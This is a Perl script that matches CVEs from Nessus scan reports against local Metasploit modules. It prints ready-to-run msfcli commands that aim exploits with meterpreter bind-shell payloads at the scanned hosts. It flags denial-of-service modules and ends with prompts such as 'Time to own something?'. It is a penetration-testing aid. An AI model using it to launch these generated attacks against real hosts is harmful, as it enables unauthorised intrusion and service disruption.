#!/usr/bin/env perl
use strict;
use POSIX;
use Getopt::Long;

my $version = "0.2";

my $usage = "
Usage: $0 -m <metasploit dir> report.nbe report2.nbe ..............

Finds all possible expolits in metasploit that have been reported by nessus;

";

my $metaspolitHome;

GetOptions (
        "msfhome=s" => \$metaspolitHome,
);

unless (defined($metaspolitHome))
{
        print "ERROR: Missing arguments\n";
        print $usage;
        exit 1;
}



my @exploits = ();
my @nessusIssues;

my $modulelocation = $metaspolitHome."modules/";

my $rhost = " RHOST=";
my $windows_meter_bind = " PAYLOAD=windows/meterpreter/bind_tcp";
my $windows_meter_reverse = " PAYLOAD=windows/meterpreter/reverse_tcp LPORT=9999";
my $linux_meter_bind = " PAYLOAD=linux/x86/meterpreter/bind_tcp";
my $linux_meter_reverse = " PAYLOAD=linux/x86/meterpreter/reverse_tcp LPORT=9999";

my $file = shift;
unshift @ARGV, $file;

print "metasploit-expolit-suggest $version\n";
print "\n";
print "Scanning msf modules...........\n";
scan_msf_modules($modulelocation);
print "Scanning nessus nbe files...........\n";
while (my $filename = shift) 
{
	processNessus($filename);
}

#check that we have some issues to test
if((my $ length = @nessusIssues) < 1)
{
	print "[ERROR] Failed to load any information from the nessus nbe\n";
	print "Can you read the files, are they really a nessus nbe?\n";
	exit(0);
}

print "\n";
print "The following possible exploits have been identified:\n";
print "\n";
my $atleastone = 0;
foreach my $exploit (@exploits)
{
	my $found = 0;
	my @vulnerable;
	foreach my $issue (@nessusIssues)
	{
		if($exploit->isVulnerable($issue->getCVE()))
		{
			$found = 1;
			push(@vulnerable, $issue);
		}
	}

	if($found == 1)
	{	
		my $DOS = " ";
		if($exploit->isDOS())
		{
			$DOS = " **DOS** ";
		}
		print "==".$DOS.$exploit->getTitle()." (". $exploit->getRank().") (".$exploit->getCVEs().")".$DOS."==\n";
		foreach my $vul (@vulnerable)
		{
			$atleastone = 1;
			print make_msfcli($exploit, $vul)."\n";
		}
		print "\n";
	}
}

if(!$atleastone)
{
	print "Would appear that there are no metasploit expolits for any of the issues nessus identifed.\n";
	print "So no easy pwn for you today!\n";
}
else
{
	print "\n";
	print "Time to own something?\n";
}

# Scans the metasploit expolit tree
sub scan_msf_modules
{

	my $dir = $_[0];
	opendir(DIR, $dir);
	my @items = readdir(DIR);
	closedir(DIR);
	foreach my $item (@items)
	{
		if($item =~ m/^\..*/)
		{

		}
		else
		{
			if(-d $dir.$item)
			{
				scan_msf_modules($dir.$item."/");
			}
			elsif(-f $dir.$item)
			{
				my $filename = $dir.$item;
				open(FILE, "<$filename");

				my $object;
				if($filename =~ /modules\/(.*)\.rb/)
				{

					my $module = $1;
					$module =~ s/exploits/exploit/;
					$object = new msfexpolit("$module");
				
				}

				while(<FILE>)
				{


					my $line = $_;
					if($line =~ m/Rank\s+=\s+(\w+)/)
					{
						#print $1."\n";
						my $ranking = $1;
						$ranking =~ s/Ranking//;
						$object->setRank($ranking);
					}

					if($line =~ m/'Name'\s*=>\s*'(.*)',/)
					{
						$object->setTitle($1);
					}
					
					if($line =~ m/'CVE',\s*'(\d\d\d\d-\d\d\d\d)'/)
					{
						#print "CVE-".$1."\n";
						my $CVE = "CVE-".$1;
						$object->addCVE($CVE);
					}
				}

				push(@exploits, $object);
			}
		}
	}

	if((my $ length = @exploits) < 1)
	{
		print "[ERROR] Failed to load any information from the metasploit modules!\n";
		print "Is the script pointing to the correct location?\n";
		exit(0);
	}
}

# Process a single nessus file
sub processNessus
{
	my $nessus = $_[0];

	open(INFILE, "<$nessus");
	while(<INFILE>) 
	{
		if ($_ =~ /^results\|.*?\|(.+?)\|(.+?)\|(.+?)\|(.+?)\|(.+)$/ or $_ =~ /^results\|\d+\.\d+\.\d+\|(.+?)\|(.+?)\|(.+?)\|(.+?)\|(.+)$/)
		{

			my($ip) = $1;
			my($port_details) = $2;
			my($nid) = $3;
			my($level) = $4;
			my($text) = $5;
			my($port_num) = "";
			my($port_type) = "";

			if($port_details =~ /\w+ \((\d+)\/(\w+)\)/)
			{
			    $port_num = $1;
			    $port_type = $2;

			}

			while($text =~ m/(CVE-\d\d\d\d-\d\d\d\d)/g)
			{
				if($1 ne "CVE-1999-0506" and $1 ne "CVE-1999-0504")
				{
					my $tempObject = new nessusIssue($ip, $port_num, $1);

					if(!containsNessusIssue(\@nessusIssues, $tempObject))
					{
						push(@nessusIssues, $tempObject);
					}
				}
			}
		}
	}
	close(INFILE);

}

# used to remove duplicates from the nessus
sub containsNessusIssue
{
	my $array_ref = $_[0];
	my $item = $_[1];

	foreach my $arrayitem (@{$array_ref})
	{
		if(defined($arrayitem) and defined($item))
		{
			if($arrayitem->getIp() eq $item->getIp() and $arrayitem->getPort() eq $item->getPort() and $arrayitem->getCVE() eq $item->getCVE())
			{
				return 1;
			}
		}
	}
	return 0;
}

# makes the msfcli command based on the expolit and the issue
sub make_msfcli
{
	my $exploit = $_[0];
	my $nessusIssue = $_[1];

	my $payload = "";
	my $output = "";
	my $msfcli = $metaspolitHome."msfcli ";
	
	my $rport = " ";
	if($nessusIssue->getPort() != "")
	{
		$rport = " RPORT=".$nessusIssue->getPort();
	}

	if($exploit->getName() =~ m/exploit/)
	{

		if($exploit->getName() =~ m/windows/)
		{
			$payload = $windows_meter_bind;
		}
		elsif($exploit->getName() =~ m/linux/)
		{
			$payload = $linux_meter_bind;
		}
		else
		{
			$payload=" PAYLOAD=<TODO>";
		}

		$output = $msfcli.$exploit->getName().$rhost.$nessusIssue->getIp().$rport.$payload." E";
	
	}
	elsif($exploit->isScanner)
	{

		$output = $msfcli.$exploit->getName()." RHOSTS=".$nessusIssue->getIp().$rport." E";
	}
	else
	{
		$output = $msfcli.$exploit->getName().$rhost.$nessusIssue->getIp().$rport." E";
	}

	

	return $output;
}

#
# Metasploit exploit object
#

package msfexpolit;

sub new
{
	my @CVEs = ();
	my $class = shift;
	my $self = {
		_name => shift,
		_rank => "Unknown",
		_title => "",
		_CVE => \@CVEs,

	};

	bless $self, $class;
	return $self;

}

sub getName
{
	my ($self) = @_;
	return $self->{_name};
}

sub getRank
{
	my ($self) = @_;
	return $self->{_rank};
}

sub setRank
{
	my ($self, $rank) = @_;
	$self->{_rank} = $rank;
}

sub getTitle
{
	my ($self) = @_;
	return $self->{_title};
}

sub setTitle
{
	my ($self, $rank) = @_;
	$self->{_title} = $rank;
}

sub addCVE
{
	my ($self, $CVE) = @_;
	push(@{$self->{_CVE}}, $CVE);
}

sub getCVEs
{
	my ($self, $CVE) = @_;
	my $output = "";
	foreach my $item (@{$self->{_CVE}})
	{
		$output .= $item.",";
	}

	return substr($output, 0, length($output) -1);

}

sub isVulnerable
{
	my ($self, $CVE) = @_;
	foreach my $item (@{$self->{_CVE}})
	{
		if($item eq $CVE)
		{
			return 1;
		}
	}
	return 0;
}

sub isDOS
{
	my ($self, $CVE) = @_;
	if($self->{_name} =~ m/\/dos\//)
	{
		return 1;
	}
	
	return 0;
}

sub isScanner
{
	my ($self, $CVE) = @_;
	if($self->{_name} =~ m/\/scanner\//)
	{
		return 1;
	}
	
	return 0;
}
1;

#
# nessus issues object
#

package nessusIssue;

sub new
{
	
	my $class = shift;
	my $self = {
		_ip => shift,
		_port => shift,
		_CVE => shift,
	};

	bless $self, $class;
	return $self;

}

sub getIp
{
	my ($self) = @_;
	return $self->{_ip};
}

sub getPort
{
	my ($self) = @_;
	return $self->{_port};
}

sub getCVE
{
	my ($self) = @_;
	return $self->{_CVE};
}
1;
